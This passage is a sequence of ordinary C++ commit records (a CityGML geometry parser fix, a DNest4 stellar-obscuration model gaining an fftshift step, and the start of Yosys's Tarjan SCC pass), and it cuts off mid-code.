gml:OrientableSurface may define a negative orientation\n        return true;\n\n    }\n\n    bool GeometryElementParser::parseElementEndTag(const NodeType::XMLNode&, const std::string&)\n    {\n        if (m_orientation == \"-\") {\n            for (int i = 0; i < m_model->getPolygonsCount(); i++) {\n                m_model->getPolygon(i)->setNegNormal(true);\n            }\n        }\n\n        m_callback(m_model);\n        return true;\n    }\n\n\n\n    bool GeometryElementParser::parseChildElementStartTag(const NodeType::XMLNode& node, Attributes& attributes)\n    {\n        if (m_model == nullptr) {\n            throw std::runtime_error(\"GeometryElementParser::parseChildElementStartTag called before GeometryElementParser::parseElementStartTag\");\n        }\n\n        if (node == NodeType::GML_InteriorNode\n         || node == NodeType::GML_ExteriorNode\n         || node == NodeType::GML_SolidMemberNode) {\n\n            setParserForNextElement(new GeometryElementParser(m_documentParser, m_factory, m_logger, m_lodLevel, m_parentType, [this](Geometry* child) {\n                                        m_model->addGeometry(child);\n                                    }));\n            return true;\n\n        } else if (node == NodeType::GML_SurfaceMemberNode\n                   || node == NodeType::GML_BaseSurfaceNode) {\n\n            if (attributes.hasXLinkAttribute()) {\n                m_factory.requestSharedPolygonForGeometry(m_model, attributes.getXLinkValue());\n            } else {\n                std::vector<ElementParser*> parsers;\n\n                std::function<void(std::shared_ptr<Polygon>)> callback1 = [this](std::shared_ptr<Polygon> poly) {m_model->addPolygon(poly);};\n                std::function<void(Geometry*)>                callback2 = [this](Geometry* child) {m_model->addGeometry(child);};\n\n                parsers.push_back(new PolygonElementParser(m_documentParser, m_factory, m_logger, callback1));\n                parsers.push_back(new GeometryElementParser(m_documentParser, m_factory, m_logger, m_lodLevel, m_parentType, callback2));\n\n                setParserForNextElement(new DelayedChoiceElementParser(m_documentParser, m_logger, parsers));\n            }\n            return true;\n        } else if (node == NodeType::GML_PatchesNode\n                   || node == NodeType::GML_TrianglePatchesNode) {\n\n            std::function<ElementParser*()> patchParserFactory = [this]() {\n                return new PolygonElementParser(m_documentParser, m_factory, m_logger, [this](std::shared_ptr<Polygon> poly) {m_model->addPolygon(poly);});\n            };\n\n            setParserForNextElement(new SequenceParser(m_documentParser, m_logger, patchParserFactory, node));\n\n        }\n\n        return GMLObjectElementParser::parseChildElementStartTag(node, attributes);\n    }\n\n    bool GeometryElementParser::parseChildElementEndTag(const NodeType::XMLNode& node, const std::string& characters)\n    {\n\n        if (m_model == nullptr) {\n            throw std::runtime_error(\"GeometryElementParser::parseChildElementEndTag called before GeometryElementParser::parseElementStartTag\");\n        }\n\n        if (node == NodeType::GML_InteriorNode\n         || node == NodeType::GML_ExteriorNode\n         || node == NodeType::GML_SolidMemberNode\n         || node == NodeType::GML_SurfaceMemberNode\n         || node == NodeType::GML_BaseSurfaceNode\n         || node == NodeType::GML_PatchesNode\n         || node == NodeType::GML_TrianglePatchesNode)  {\n            return true;\n        }\n\n        return GMLObjectElementParser::parseChildElementEndTag(node, characters);\n\n    }\n\n    Object* GeometryElementParser::getObject()\n    {\n        return m_model;\n    }\n\n}\n<commit_msg>Substituting double ShellNode type entry in geometry element parser<commit_after>#include \"parser\/geometryelementparser.h\"\n\n#include <unordered_set>\n\n#include \"parser\/nodetypes.h\"\n#include \"parser\/attributes.h\"\n#include \"parser\/documentlocation.h\"\n#include \"parser\/polygonelementparser.h\"\n#include \"parser\/delayedchoiceelementparser.h\"\n#include \"parser\/sequenceparser.h\"\n\n#include <citygml\/geometry.h>\n#include <citygml\/citygmlfactory.h>\n#include <citygml\/citygmllogger.h>\n#include <citygml\/polygon.h>\n\n#include <mutex>\n\n#include <stdexcept>\n\nnamespace citygml {\n\n\n    \/\/ The nodes that are valid Geometry Objects\n    std::unordered_set<int> geometryTypeIDSet;\n    bool geometryTypeIDSetInitialized = false;\n    std::mutex geometryElement_initializedTypeIDMutex;\n\n    GeometryElementParser::GeometryElementParser(CityGMLDocumentParser& documentParser, CityGMLFactory& factory, std::shared_ptr<CityGMLLogger> logger,\n                                                 int lodLevel, CityObject::CityObjectsType parentType,  std::function<void(Geometry*)> callback)\n        : GMLObjectElementParser(documentParser, factory, logger)\n    {\n        m_callback = callback;\n        m_lodLevel = lodLevel;\n        m_parentType = parentType;\n    }\n\n    std::string GeometryElementParser::elementParserName() const\n    {\n        return \"GeometryElementParser\";\n    }\n\n    bool GeometryElementParser::handlesElement(const NodeType::XMLNode& node) const\n    {\n        if(!geometryTypeIDSetInitialized) {\n\n            std::lock_guard<std::mutex> lock(geometryElement_initializedTypeIDMutex);\n\n            if (!geometryTypeIDSetInitialized) {\n\n                geometryTypeIDSet.insert(NodeType::GML_CompositeSolidNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_SolidNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_MultiSurfaceNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_CompositeSurfaceNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_TriangulatedSurfaceNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_OrientableSurfaceNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_MultiSolidNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_CompositeSolidNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_ShellNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_PolyhedralSurfaceNode.typeID());\n                geometryTypeIDSet.insert(NodeType::GML_SurfaceNode.typeID());\n\t\t\t\tgeometryTypeIDSet.insert(NodeType::GML_MultiCurveNode.typeID());\n                geometryTypeIDSetInitialized = true;\n\n            }\n        }\n\n        return geometryTypeIDSet.count(node.typeID()) > 0;\n    }\n\n    bool GeometryElementParser::parseElementStartTag(const NodeType::XMLNode& node, Attributes& attributes)\n    {\n\n        if (!handlesElement(node)) {\n            CITYGML_LOG_ERROR(m_logger, \"Expected start tag of GeometryObject but got <\" << node.name() << \"> at \" << getDocumentLocation());\n            throw std::runtime_error(\"Unexpected start tag found.\");\n        }\n\n        m_model = m_factory.createGeometry(attributes.getCityGMLIDAttribute(), m_parentType, m_lodLevel);\n        m_orientation = attributes.getAttribute(\"orientation\", \"+\"); \/\/ A gml:OrientableSurface may define a negative orientation\n        return true;\n\n    }\n\n    bool GeometryElementParser::parseElementEndTag(const NodeType::XMLNode&, const std::string&)\n    {\n        if (m_orientation == \"-\") {\n            for (int i = 0; i < m_model->getPolygonsCount(); i++) {\n                m_model->getPolygon(i)->setNegNormal(true);\n            }\n        }\n\n        m_callback(m_model);\n        return true;\n    }\n\n\n\n    bool GeometryElementParser::parseChildElementStartTag(const NodeType::XMLNode& node, Attributes& attributes)\n    {\n        if (m_model == nullptr) {\n            throw std::runtime_error(\"GeometryElementParser::parseChildElementStartTag called before GeometryElementParser::parseElementStartTag\");\n        }\n\n        if (node == NodeType::GML_InteriorNode\n         || node == NodeType::GML_ExteriorNode\n         || node == NodeType::GML_SolidMemberNode) {\n\n            setParserForNextElement(new GeometryElementParser(m_documentParser, m_factory, m_logger, m_lodLevel, m_parentType, [this](Geometry* child) {\n                                        m_model->addGeometry(child);\n                                    }));\n            return true;\n\n        } else if (node == NodeType::GML_SurfaceMemberNode\n                   || node == NodeType::GML_BaseSurfaceNode) {\n\n            if (attributes.hasXLinkAttribute()) {\n                m_factory.requestSharedPolygonForGeometry(m_model, attributes.getXLinkValue());\n            } else {\n                std::vector<ElementParser*> parsers;\n\n                std::function<void(std::shared_ptr<Polygon>)> callback1 = [this](std::shared_ptr<Polygon> poly) {m_model->addPolygon(poly);};\n                std::function<void(Geometry*)>                callback2 = [this](Geometry* child) {m_model->addGeometry(child);};\n\n                parsers.push_back(new PolygonElementParser(m_documentParser, m_factory, m_logger, callback1));\n                parsers.push_back(new GeometryElementParser(m_documentParser, m_factory, m_logger, m_lodLevel, m_parentType, callback2));\n\n                setParserForNextElement(new DelayedChoiceElementParser(m_documentParser, m_logger, parsers));\n            }\n            return true;\n        } else if (node == NodeType::GML_PatchesNode\n                   || node == NodeType::GML_TrianglePatchesNode) {\n\n            std::function<ElementParser*()> patchParserFactory = [this]() {\n                return new PolygonElementParser(m_documentParser, m_factory, m_logger, [this](std::shared_ptr<Polygon> poly) {m_model->addPolygon(poly);});\n            };\n\n            setParserForNextElement(new SequenceParser(m_documentParser, m_logger, patchParserFactory, node));\n\n        }\n\n        return GMLObjectElementParser::parseChildElementStartTag(node, attributes);\n    }\n\n    bool GeometryElementParser::parseChildElementEndTag(const NodeType::XMLNode& node, const std::string& characters)\n    {\n\n        if (m_model == nullptr) {\n            throw std::runtime_error(\"GeometryElementParser::parseChildElementEndTag called before GeometryElementParser::parseElementStartTag\");\n        }\n\n        if (node == NodeType::GML_InteriorNode\n         || node == NodeType::GML_ExteriorNode\n         || node == NodeType::GML_SolidMemberNode\n         || node == NodeType::GML_SurfaceMemberNode\n         || node == NodeType::GML_BaseSurfaceNode\n         || node == NodeType::GML_PatchesNode\n         || node == NodeType::GML_TrianglePatchesNode)  {\n            return true;\n        }\n\n        return GMLObjectElementParser::parseChildElementEndTag(node, characters);\n\n    }\n\n    Object* GeometryElementParser::getObject()\n    {\n        return m_model;\n    }\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"MyModel.h\"\n#include \"DNest4\/code\/DNest4.h\"\n#include <stdexcept>\n#include <armadillo>\n\nnamespace Obscurity\n{\n\n\/\/ CONSTRUCTOR AND MEMBER FUNCTIONS\nMyModel::MyModel()\n:blobs(4, 100, false, MyConditionalPrior(), DNest4::PriorType::log_uniform)\n,obscurer_map(ni, nj)\n,convolved(ni, nj)\n{\n\n}\n\nvoid MyModel::from_prior(DNest4::RNG& rng)\n{\n    blobs.from_prior(rng);\n\n    DNest4::Cauchy c1(0.0, 1.0);\n    x0 = -std::abs(c1.generate(rng));\n\n    DNest4::Cauchy c2(0.0, 0.1*data.get_t_range());\n    timescale = std::abs(c2.generate(rng));\n\n    calculate_obscurer_map();\n}\n\ndouble MyModel::calculate_total_flux(double time) const\n{\n    double speed = 1.0\/timescale;\n    double offset = x0 + speed*time;\n\n    int j = (int)floor((offset - (x_min + 0.5*dx))\/dx);\n    return convolved(ni\/2, j%nj);\n}\n\ndouble MyModel::perturb(DNest4::RNG& rng)\n{\n\tdouble logH = 0.0;\n\n    if(rng.rand() <= 0.7)\n    {\n        logH += blobs.perturb(rng);\n        if(blobs.components_changed())\n            calculate_obscurer_map();\n    }\n    else if(rng.rand() <= 0.5)\n    {\n        DNest4::Cauchy c(0.0, 1.0);\n        logH += c.perturb(x0, rng);\n        x0 = -std::abs(x0);\n    }\n    else\n    {\n        DNest4::Cauchy c(0.0, 0.1*data.get_t_range());\n        logH += c.perturb(timescale, rng);\n        timescale = std::abs(timescale);\n    }\n\treturn logH;\n}\n\ndouble MyModel::log_likelihood() const\n{\n\tdouble logL = 0.0;\n\n    const auto& t = data.get_t();\n    const auto& y = data.get_y();\n    const auto& sig = data.get_sig();\n\n    double model_prediction;\n    for(size_t i=0; i<t.size(); ++i)\n    {\n        model_prediction = calculate_total_flux(t[i]);\n        logL += -0.5*log(2*M_PI) - log(sig[i])\n                    - 0.5*pow((y[i] - model_prediction)\/sig[i], 2);\n    }\n\n\treturn logL;\n}\n\nvoid MyModel::calculate_obscurer_map()\n{\n    \/\/ Obscurer image\n    for(size_t j=0; j<nj; ++j)\n        for(size_t i=0; i<ni; ++i)\n            obscurer_map(i, j) = 0.0;\n\n    const auto& blobs_params = blobs.get_components();\n    int i_min, i_max, j_min, j_max;\n    double width;\n\n    for(const auto& blob_params: blobs_params)\n    {\n        width = blob_params[3]*LL;\n\n        \/\/ Determine square patch of image to loop over\n        i_min = (int)floor(((y_max - 0.5*dy) - (blob_params[1] + width))\/dy);\n        i_max = (int)floor(((y_max - 0.5*dy) - (blob_params[1] - width))\/dy);\n        j_min = (int)floor(((blob_params[0] - width) - (x_min + 0.5*dx))\/dx);\n        j_max = (int)floor(((blob_params[0] + width) - (x_min + 0.5*dx))\/dx);\n\n        if(i_min < 0)\n            i_min = 0;\n        if(i_max < 0)\n            i_max = 0;\n        if(j_min < 0)\n            j_min = 0;\n        if(j_max < 0)\n            j_max = 0;\n\n        if(i_min >= (int)ni)\n            i_min = ni - 1;\n        if(i_max >= (int)ni)\n            i_max = ni - 1;\n        if(j_min >= (int)nj)\n            j_min = nj - 1;\n        if(j_max >= (int)nj)\n            j_max = nj - 1;\n\n        for(int j=j_min; j<=j_max; ++j)\n            for(int i=i_min; i<=i_max; ++i)\n                obscurer_map(i, j) += evaluate_blob(blob_params, x[j], y[i]);\n    }\n    for(size_t j=0; j<nj; ++j)\n        for(size_t i=0; i<ni; ++i)\n            obscurer_map(i, j) = exp(-obscurer_map(i, j));\n\n    \/\/ FFT of obscurer_map\n    arma::cx_mat A = arma::fft2(obscurer_map);\n\n    \/\/ (FFT of obscurer map)*(FFT of star map)\n    for(size_t j=0; j<nj; ++j)\n        for(size_t i=0; i<ni; ++i)\n            A(i, j) *= fft_of_star(i, j);\n\n    \/\/ obscurer map convolved with star map\n    A = arma::ifft2(A);\n    for(size_t i=0; i<ni; ++i)\n        for(size_t j=0; j<nj; ++j)\n            convolved(i, j) = A(i, j).real();\n}\n\nvoid MyModel::print(std::ostream& out) const\n{\n    const auto& t = data.get_t();\n    for(size_t i=0; i<t.size(); ++i)\n        out<<calculate_total_flux(t[i])<<' ';\n\n    for(size_t i=0; i<ni; ++i)\n        for(size_t j=0; j<nj; ++j)\n            out<<star(i, j)<<' ';\n\n    for(size_t i=0; i<ni; ++i)\n        for(size_t j=0; j<nj; ++j)\n            out<<obscurer_map(i, j)<<' ';\n}\n\nstd::string MyModel::description() const\n{\n\treturn std::string(\"\");\n}\n\n\/* STATIC STUFF *\/\n\nData                  MyModel::data;\narma::mat             MyModel::star(MyModel::ni, MyModel::nj);\narma::cx_mat          MyModel::fft_of_star(MyModel::ni, MyModel::nj);\nstd::vector<double>   MyModel::x(MyModel::nj);\nstd::vector<double>   MyModel::y(MyModel::ni);\n\nvoid MyModel::initialise()\n{\n    for(size_t i=0; i<ni; ++i)\n        y[i] = y_max - (i + 0.5)*dy;\n\n    for(size_t j=0; j<nj; ++j)\n        x[j] = x_min + (j + 0.5)*dx;\n\n    double rsq;\n\n    double limb_darkening_coefficient = 1.0;\n\n    \/\/ Argh column-major order\n    \/\/ Star image\n    double tot = 0.0;\n    for(size_t j=0; j<nj; ++j)\n    {\n        for(size_t i=0; i<ni; ++i)\n        {\n            rsq = x[j]*x[j] + y[i]*y[i];\n            if(rsq < 1.0)\n            {\n                star(i, j) = 1.0 -\n                    limb_darkening_coefficient*(1.0 - sqrt(1.0 - rsq));\n            }\n            else\n                star(i, j) = 0.0;\n            tot += star(i, j);\n        }\n    }\n    for(size_t j=0; j<nj; ++j)\n        for(size_t i=0; i<ni; ++i)\n            star(i, j) \/= tot;\n\n    fft_of_star = arma::fft2(star);\n}\n\nvoid MyModel::load_data(const char* filename)\n{\n    data.load(filename);\n}\n\ndouble MyModel::evaluate_blob(const std::vector<double>& blob_params,\n                                                        double x, double y)\n{\n    static constexpr double C = 2\/M_PI;\n\n    double rsq = pow(x - blob_params[0], 2) + pow(y - blob_params[1], 2);\n    double widthsq = blob_params[3]*blob_params[3]*LL*LL;\n\n    if(rsq >= widthsq)\n        return 0.0;\n\n    return C*blob_params[2]*(1.0 - rsq\/widthsq)\/widthsq;\n}\n\n\n} \/\/ namespace Obscurity\n\n<commit_msg>Forgot fftshift<commit_after>#include \"MyModel.h\"\n#include \"DNest4\/code\/DNest4.h\"\n#include <stdexcept>\n#include <armadillo>\n\nnamespace Obscurity\n{\n\n\/\/ CONSTRUCTOR AND MEMBER FUNCTIONS\nMyModel::MyModel()\n:blobs(4, 1, true, MyConditionalPrior(), DNest4::PriorType::log_uniform)\n,obscurer_map(ni, nj)\n,convolved(ni, nj)\n{\n\n}\n\nvoid MyModel::from_prior(DNest4::RNG& rng)\n{\n    blobs.from_prior(rng);\n\n    DNest4::Cauchy c1(0.0, 1.0);\n    x0 = -std::abs(c1.generate(rng));\n\n    DNest4::Cauchy c2(0.0, 0.1*data.get_t_range());\n    timescale = std::abs(c2.generate(rng));\n\n    calculate_obscurer_map();\n}\n\ndouble MyModel::calculate_total_flux(double time) const\n{\n    double speed = 1.0\/timescale;\n    double offset = x0 + speed*time;\n\n    int j = (int)floor((offset - (x_min + 0.5*dx))\/dx);\n    return convolved(ni\/2, j%nj);\n}\n\ndouble MyModel::perturb(DNest4::RNG& rng)\n{\n    double logH = 0.0;\n\n    if(rng.rand() <= 0.7)\n    {\n        logH += blobs.perturb(rng);\n        if(blobs.components_changed())\n            calculate_obscurer_map();\n    }\n    else if(rng.rand() <= 0.5)\n    {\n        DNest4::Cauchy c(0.0, 1.0);\n        logH += c.perturb(x0, rng);\n        x0 = -std::abs(x0);\n    }\n    else\n    {\n        DNest4::Cauchy c(0.0, 0.1*data.get_t_range());\n        logH += c.perturb(timescale, rng);\n        timescale = std::abs(timescale);\n    }\n    return logH;\n}\n\ndouble MyModel::log_likelihood() const\n{\n    double logL = 0.0;\n\n    const auto& t = data.get_t();\n    const auto& y = data.get_y();\n    const auto& sig = data.get_sig();\n\n    double model_prediction;\n    for(size_t i=0; i<t.size(); ++i)\n    {\n        model_prediction = calculate_total_flux(t[i]);\n        logL += -0.5*log(2*M_PI) - log(sig[i])\n                    - 0.5*pow((y[i] - model_prediction)\/sig[i], 2);\n    }\n\n    return logL;\n}\n\nvoid MyModel::calculate_obscurer_map()\n{\n    \/\/ Obscurer image\n    for(size_t j=0; j<nj; ++j)\n        for(size_t i=0; i<ni; ++i)\n            obscurer_map(i, j) = 0.0;\n\n    const auto& blobs_params = blobs.get_components();\n    int i_min, i_max, j_min, j_max;\n    double width;\n\n    for(const auto& blob_params: blobs_params)\n    {\n        width = blob_params[3]*LL;\n\n        \/\/ Determine square patch of image to loop over\n        i_min = (int)floor(((y_max - 0.5*dy) - (blob_params[1] + width))\/dy);\n        i_max = (int)floor(((y_max - 0.5*dy) - (blob_params[1] - width))\/dy);\n        j_min = (int)floor(((blob_params[0] - width) - (x_min + 0.5*dx))\/dx);\n        j_max = (int)floor(((blob_params[0] + width) - (x_min + 0.5*dx))\/dx);\n\n        if(i_min < 0)\n            i_min = 0;\n        if(i_max < 0)\n            i_max = 0;\n        if(j_min < 0)\n            j_min = 0;\n        if(j_max < 0)\n            j_max = 0;\n\n        if(i_min >= (int)ni)\n            i_min = ni - 1;\n        if(i_max >= (int)ni)\n            i_max = ni - 1;\n        if(j_min >= (int)nj)\n            j_min = nj - 1;\n        if(j_max >= (int)nj)\n            j_max = nj - 1;\n\n        for(int j=j_min; j<=j_max; ++j)\n            for(int i=i_min; i<=i_max; ++i)\n                obscurer_map(i, j) += evaluate_blob(blob_params, x[j], y[i]);\n    }\n    for(size_t j=0; j<nj; ++j)\n        for(size_t i=0; i<ni; ++i)\n            obscurer_map(i, j) = exp(-obscurer_map(i, j));\n\n    \/\/ FFT of obscurer_map\n    arma::cx_mat A = arma::fft2(obscurer_map);\n\n    \/\/ (FFT of obscurer map)*(FFT of star map)\n    for(size_t j=0; j<nj; ++j)\n        for(size_t i=0; i<ni; ++i)\n            A(i, j) *= fft_of_star(i, j);\n\n    \/\/ obscurer map convolved with star map\n    A = arma::ifft2(A);\n    for(size_t i=0; i<ni; ++i)\n        for(size_t j=0; j<nj; ++j)\n            convolved(i, j) = A(i, j).real();\n}\n\nvoid MyModel::print(std::ostream& out) const\n{\n    const auto& t = data.get_t();\n    for(size_t i=0; i<t.size(); ++i)\n        out<<calculate_total_flux(t[i])<<' ';\n\n    for(size_t i=0; i<ni; ++i)\n        for(size_t j=0; j<nj; ++j)\n            out<<star(i, j)<<' ';\n\n    for(size_t i=0; i<ni; ++i)\n        for(size_t j=0; j<nj; ++j)\n            out<<obscurer_map(i, j)<<' ';\n}\n\nstd::string MyModel::description() const\n{\n    return std::string(\"\");\n}\n\n\/* STATIC STUFF *\/\n\nData                  MyModel::data;\narma::mat             MyModel::star(MyModel::ni, MyModel::nj);\narma::cx_mat          MyModel::fft_of_star(MyModel::ni, MyModel::nj);\nstd::vector<double>   MyModel::x(MyModel::nj);\nstd::vector<double>   MyModel::y(MyModel::ni);\n\nvoid MyModel::initialise()\n{\n    for(size_t i=0; i<ni; ++i)\n        y[i] = y_max - (i + 0.5)*dy;\n\n    for(size_t j=0; j<nj; ++j)\n        x[j] = x_min + (j + 0.5)*dx;\n\n    double rsq;\n\n    double limb_darkening_coefficient = 1.0;\n\n    \/\/ Argh column-major order\n    \/\/ Star image\n    double tot = 0.0;\n    for(size_t j=0; j<nj; ++j)\n    {\n        for(size_t i=0; i<ni; ++i)\n        {\n            rsq = x[j]*x[j] + y[i]*y[i];\n            if(rsq < 1.0)\n            {\n                star(i, j) = 1.0 -\n                    limb_darkening_coefficient*(1.0 - sqrt(1.0 - rsq));\n            }\n            else\n                star(i, j) = 0.0;\n            tot += star(i, j);\n        }\n    }\n    for(size_t j=0; j<nj; ++j)\n        for(size_t i=0; i<ni; ++i)\n            star(i, j) \/= tot;\n\n    arma::mat star2 = star;\n    int m, n;\n    for(int i=0; i<(int)ni; i++)\n    {\n        m = DNest4::mod(i - (int)ni\/2, (int)ni);\n        for(int j=0; j<(int)nj; j++)\n        {\n            n = DNest4::mod(j - (int)nj\/2, (int)nj);\n            star2(m, n) = star(i, j);\n        }\n    }\n\n    fft_of_star = arma::fft2(star2);\n}\n\nvoid MyModel::load_data(const char* filename)\n{\n    data.load(filename);\n}\n\ndouble MyModel::evaluate_blob(const std::vector<double>& blob_params,\n                                                        double x, double y)\n{\n    static constexpr double C = 2\/M_PI;\n\n    double rsq = pow(x - blob_params[0], 2) + pow(y - blob_params[1], 2);\n    double widthsq = blob_params[3]*blob_params[3]*LL*LL;\n\n    if(rsq >= widthsq)\n        return 0.0;\n\n    return C*blob_params[2]*(1.0 - rsq\/widthsq)\/widthsq;\n}\n\n\n} \/\/ namespace Obscurity\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  yosys -- Yosys Open SYnthesis Suite\n *\n *  Copyright (C) 2012  Clifford Wolf <clifford@clifford.at>\n *\n *  Permission to use, copy, modify, and\/or distribute this software for any\n *  purpose with or without fee is hereby granted, provided that the above\n *  copyright notice and this permission notice appear in all copies.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n *  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n *  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n *  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n *  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n *  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n *  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n\/\/ [[CITE]] Tarjan's strongly connected components algorithm\n\/\/ Tarjan, R. E. (1972), \"Depth-first search and linear graph algorithms\", SIAM Journal on Computing 1 (2): 146-160, doi:10.1137\/0201010\n\/\/ http:\/\/en.wikipedia.org\/wiki\/Tarjan's_strongly_connected_components_algorithm\n\n#include \"kernel\/register.h\"\n#include \"kernel\/celltypes.h\"\n#include \"kernel\/sigtools.h\"\n#include \"kernel\/log.h\"\n#include <stdlib.h>\n#include <stdio.h>\n#include <set>\n\nUSING_YOSYS_NAMESPACE\nPRIVATE_NAMESPACE_BEGIN\n\nstruct SccWorker\n{\n\tRTLIL::Design *design;\n\tRTLIL::Module *module;\n\tSigMap sigmap;\n\tCellTypes ct;\n\n\tstd::set<RTLIL::Cell*> workQueue;\n\tstd::map<RTLIL::Cell*, std::set<RTLIL::Cell*>> cellToNextCell;\n\tstd::map<RTLIL::Cell*, RTLIL::SigSpec> cellToPrevSig, cellToNextSig;\n\n\tstd::map<RTLIL::Cell*, std::pair<int, int>> cellLabels;\n\tstd::map<RTLIL::Cell*, int> cellDepth;\n\tstd::set<RTLIL::Cell*> cellsOnStack;\n\tstd::vector<RTLIL::Cell*> cellStack;\n\tint labelCounter;\n\n\tstd::map<RTLIL::Cell*, int> cell2scc;\n\tstd::vector<std::set<RTLIL::Cell*>> sccList;\n\n\tvoid run(RTLIL::Cell *cell, int depth, int maxDepth)\n\t{\n\t\tlog_assert(workQueue.count(cell) > 0);\n\n\t\tworkQueue.erase(cell);\n\t\tcellLabels[cell] = std::pair<int, int>(labelCounter, labelCounter);\n\t\tlabelCounter++;\n\n\t\tcellsOnStack.insert(cell);\n\t\tcellStack.push_back(cell);\n\n\t\tif (maxDepth >= 0)\n\t\t\tcellDepth[cell] = depth;\n\n\t\tfor (auto nextCell : cellToNextCell[cell])\n\t\t\tif (cellLabels.count(nextCell) == 0) {\n\t\t\t\trun(nextCell, depth+1, maxDepth);\n\t\t\t\tcellLabels[cell].second = min(cellLabels[cell].second, cellLabels[nextCell].second);\n\t\t\t} else\n\t\t\tif (cellsOnStack.count(nextCell) > 0 && (maxDepth < 0 || cellDepth[nextCell] + maxDepth > depth)) {\n\t\t\t\t\tcellLabels[cell].second = min(cellLabels[cell].second, cellLabels[nextCell].second);\n\t\t\t}\n\n\t\tif (cellLabels[cell].first == cellLabels[cell].second)\n\t\t{\n\t\t\tif (cellStack.back() == cell)\n\t\t\t{\n\t\t\t\tcellStack.pop_back();\n\t\t\t\tcellsOnStack.erase(cell);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tlog(\"Found an SCC:\");\n\t\t\t\tstd::set<RTLIL::Cell*> scc;\n\t\t\t\twhile (cellsOnStack.count(cell) > 0) {\n\t\t\t\t\tRTLIL::Cell *c = cellStack.back();\n\t\t\t\t\tcellStack.pop_back();\n\t\t\t\t\tcellsOnStack.erase(c);\n\t\t\t\t\tlog(\" %s\", RTLIL::id2cstr(c->name));\n\t\t\t\t\tcell2scc[c] = sccList.size();\n\t\t\t\t\tscc.insert(c);\n\t\t\t\t}\n\t\t\t\tsccList.push_back(scc);\n\t\t\t\tlog(\"\\n\");\n\t\t\t}\n\t\t}\n\t}\n\n\tSccWorker(RTLIL::Design *design, RTLIL::Module *module, bool nofeedbackMode, bool allCellTypes, int maxDepth) :\n\t\t\tdesign(design), module(module), sigmap(module)\n\t{\n\t\tif (module->processes.size() > 0) {\n\t\t\tlog(\"Skipping module %s as it contains processes (run 'proc' pass first).\\n\", module->name.c_str());\n\t\t\treturn;\n\t\t}\n\n\t\tif (allCellTypes) {\n\t\t\tct.setup(design);\n\t\t} else {\n\t\t\tct.setup_internals();\n\t\t\tct.setup_stdcells();\n\t\t}\n\n\t\tSigPool selectedSignals;\n\t\tSigSet<RTLIL::Cell*> sigToNextCells;\n\n\t\tfor (auto &it : module->wires_)\n\t\t\tif (design->selected(module, it.second))\n\t\t\t\tselectedSignals.add(sigmap(RTLIL::SigSpec(it.second)));\n\n\t\tfor (auto &it : module->cells_)\n\t\t{\n\t\t\tRTLIL::Cell *cell = it.second;\n\n\t\t\tif (!design->selected(module, cell))\n\t\t\t\tcontinue;\n\n\t\t\tif (!allCellTypes && !ct.cell_known(cell->type))\n\t\t\t\tcontinue;\n\n\t\t\tworkQueue.insert(cell);\n\n\t\t\tRTLIL::SigSpec inputSignals, outputSignals;\n\n\t\t\tfor (auto &conn : cell->connections())\n\t\t\t{\n\t\t\t\tbool isInput = true, isOutput = true;\n\n\t\t\t\tif (ct.cell_known(cell->type)) {\n\t\t\t\t\tisInput = ct.cell_input(cell->type, conn.first);\n\t\t\t\t\tisOutput = ct.cell_output(cell->type, conn.first);\n\t\t\t\t}\n\n\t\t\t\tRTLIL::SigSpec sig = selectedSignals.extract(sigmap(conn.second));\n\t\t\t\tsig.sort_and_unify();\n\n\t\t\t\tif (isInput)\n\t\t\t\t\tinputSignals.append(sig);\n\t\t\t\tif (isOutput)\n\t\t\t\t\toutputSignals.append(sig);\n\t\t\t}\n\n\t\t\tinputSignals.sort_and_unify();\n\t\t\toutputSignals.sort_and_unify();\n\n\t\t\tcellToPrevSig[cell] = inputSignals;\n\t\t\tcellToNextSig[cell] = outputSignals;\n\t\t\tsigToNextCells.insert(inputSignals, cell);\n\t\t}\n\n\t\tfor (auto cell : workQueue)\n\t\t{\n\t\t\tcellToNextCell[cell] = sigToNextCells.find(cellToNextSig[cell]);\n\n\t\t\tif (!nofeedbackMode && cellToNextCell[cell].count(cell)) {\n\t\t\t\tlog(\"Found an SCC:\");\n\t\t\t\tstd::set<RTLIL::Cell*> scc;\n\t\t\t\tlog(\" %s\", RTLIL::id2cstr(cell->name));\n\t\t\t\tcell2scc[cell] = sccList.size();\n\t\t\t\tscc.insert(cell);\n\t\t\t\tsccList.push_back(scc);\n\t\t\t\tlog(\"\\n\");\n\t\t\t}\n\t\t}\n\n\t\tlabelCounter = 0;\n\t\tcellLabels.clear();\n\n\t\twhile (!workQueue.empty())\n\t\t{\n\t\t\tRTLIL::Cell *cell = *workQueue.begin();\n\t\t\tlog_assert(cellStack.size() == 0);\n\t\t\tcellDepth.clear();\n\n\t\t\trun(cell, 0, maxDepth);\n\t\t}\n\n\t\tlog(\"Found %d SCCs in module %s.\\n\", int(sccList.size()), RTLIL::id2cstr(module->name));\n\t}\n\n\tvoid select(RTLIL::Selection &sel)\n\t{\n\t\tfor (int i = 0; i < int(sccList.size()); i++)\n\t\t{\n\t\t\tstd::set<RTLIL::Cell*> &cells = sccList[i];\n\t\t\tRTLIL::SigSpec prevsig, nextsig, sig;\n\n\t\t\tfor (auto cell : cells) 